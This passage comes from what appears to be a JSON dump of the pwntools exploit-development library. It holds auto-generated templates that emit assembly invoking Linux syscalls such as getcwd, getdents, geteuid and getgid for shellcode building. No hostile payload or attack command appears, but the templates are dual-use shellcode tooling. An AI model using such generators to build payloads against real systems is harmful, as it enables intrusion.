    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getcwd(buf, size) -> str\n\nInvokes the syscall getcwd.\n\nSee 'man 2 getcwd' for more information.\n\nArguments:\n    buf(char*): buf\n    size(size_t): size\nReturns:\n    char*\n</%docstring>\n<%page args=\"buf=0, size=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = ['buf']\n    can_pushstr_array = []\n\n    argument_names = ['buf', 'size']\n    argument_values = [buf, size]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getcwd']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getcwd'])\n%>\n    /* getcwd(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getdents.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getdents(fd, dirp, count) -> str\n\nInvokes the syscall getdents.\n\nSee 'man 2 getdents' for more information.\n\nArguments:\n    fd(unsigned): fd\n    dirp(linux_dirent*): dirp\n    count(unsigned): count\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, dirp=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'dirp', 'count']\n    argument_values = [fd, dirp, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getdents']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getdents'])\n%>\n    /* getdents(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getdents64.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getdents64(fd, dirp, count) -> str\n\nInvokes the syscall getdents64.\n\nSee 'man 2 getdents64' for more information.\n\nArguments:\n    fd(unsigned): fd\n    dirp(linux_dirent64*): dirp\n    count(unsigned): count\nReturns:\n    int\n</%docstring>\n<%page args=\"fd=0, dirp=0, count=0\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['fd', 'dirp', 'count']\n    argument_values = [fd, dirp, count]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getdents64']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getdents64'])\n%>\n    /* getdents64(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getegid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getegid() -> str\n\nInvokes the syscall getegid.\n\nSee 'man 2 getegid' for more information.\n\nArguments:\n\nReturns:\n    gid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getegid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getegid'])\n%>\n    /* getegid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getegid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getegid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getegid32.\n\nSee 'man 2 getegid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getegid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getegid32'])\n%>\n    /* getegid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/geteuid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>geteuid() -> str\n\nInvokes the syscall geteuid.\n\nSee 'man 2 geteuid' for more information.\n\nArguments:\n\nReturns:\n    uid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_geteuid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_geteuid'])\n%>\n    /* geteuid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/geteuid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>geteuid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall geteuid32.\n\nSee 'man 2 geteuid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_geteuid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_geteuid32'])\n%>\n    /* geteuid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getgid.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getgid() -> str\n\nInvokes the syscall getgid.\n\nSee 'man 2 getgid' for more information.\n\nArguments:\n\nReturns:\n    gid_t\n</%docstring>\n<%page args=\"\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = []\n    argument_values = []\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getgid']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getgid'])\n%>\n    /* getgid(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getgid32.asm",
    "content": "<%\n# Auto-generated by pwnlib/data/syscalls/generate.py. DO NOT EDIT!\nimport collections\nimport pwnlib.abi\nimport pwnlib.constants\nimport pwnlib.shellcraft\n%>\n<%docstring>getgid32(vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5) -> str\n\nInvokes the syscall getgid32.\n\nSee 'man 2 getgid32' for more information.\n\nArguments:\n    vararg(int): vararg\nReturns:\n    long\n</%docstring>\n<%page args=\"vararg_0=None, vararg_1=None, vararg_2=None, vararg_3=None, vararg_4=None, vararg_5=None\"/>\n<%\n    abi = pwnlib.abi.ABI.syscall()\n    stack = abi.stack\n    regs = abi.register_arguments[1:]\n    allregs = pwnlib.shellcraft.registers.current()\n\n    can_pushstr = []\n    can_pushstr_array = []\n\n    argument_names = ['vararg_0', 'vararg_1', 'vararg_2', 'vararg_3', 'vararg_4', 'vararg_5']\n    argument_values = [vararg_0, vararg_1, vararg_2, vararg_3, vararg_4, vararg_5]\n\n    # Load all of the arguments into their destination registers / stack slots.\n    register_arguments = dict()\n    stack_arguments = collections.OrderedDict()\n    string_arguments = dict()\n    dict_arguments = dict()\n    array_arguments = dict()\n    syscall_repr = []\n\n    for name, arg in zip(argument_names, argument_values):\n        if arg is not None:\n            syscall_repr.append('%s=%s' % (name, pwnlib.shellcraft.pretty(arg, False)))\n\n        # If the argument itself (input) is a register...\n        if arg in allregs:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n        # The argument is not a register.  It is a string value, and we\n        # are expecting a string value\n        elif name in can_pushstr and isinstance(arg, (bytes, bytearray, str)):\n            if isinstance(arg, str):\n                arg = arg.encode('utf-8')\n            string_arguments[name] = arg\n\n        # The argument is not a register.  It is a dictionary, and we are\n        # expecting K:V paris.\n        elif name in can_pushstr_array and isinstance(arg, dict):\n            array_arguments[name] = ['%s=%s' % (k,v) for (k,v) in arg.items()]\n\n        # The arguent is not a register.  It is a list, and we are expecting\n        # a list of arguments.\n        elif name in can_pushstr_array and isinstance(arg, (list, tuple)):\n            array_arguments[name] = arg\n\n        # The argument is not a register, string, dict, or list.\n        # It could be a constant string ('O_RDONLY') for an integer argument,\n        # an actual integer value, or a constant.\n        else:\n            index = argument_names.index(name)\n            if index < len(regs):\n                target = regs[index]\n                register_arguments[target] = arg\n            elif arg is not None:\n                stack_arguments[name] = arg\n\n    # Some syscalls have different names on various architectures.\n    # Determine which syscall number to use for the current architecture.\n    for syscall in ['SYS_getgid32']:\n        if hasattr(pwnlib.constants, syscall):\n            break\n    else:\n        raise Exception(\"Could not locate any syscalls: %r\" % ['SYS_getgid32'])\n%>\n    /* getgid32(${', '.join(syscall_repr)}) */\n%for name, arg in string_arguments.items():\n    ${pwnlib.shellcraft.pushstr(arg, append_null=(b'\\x00' not in arg))}\n    ${pwnlib.shellcraft.mov(regs[argument_names.index(name)], abi.stack)}\n%endfor\n%for name, arg in array_arguments.items():\n    ${pwnlib.shellcraft.pushstr_array(regs[argument_names.index(name)], arg)}\n%endfor\n%for name, arg in stack_arguments.items():\n    ${pwnlib.shellcraft.push(arg)}\n%endfor\n    ${pwnlib.shellcraft.setregs(register_arguments)}\n    ${pwnlib.shellcraft.syscall(syscall)}\n"
  },
  {
    "path": "pwnlib/shellcraft/templates/common/linux/syscalls/getgroups.asm",
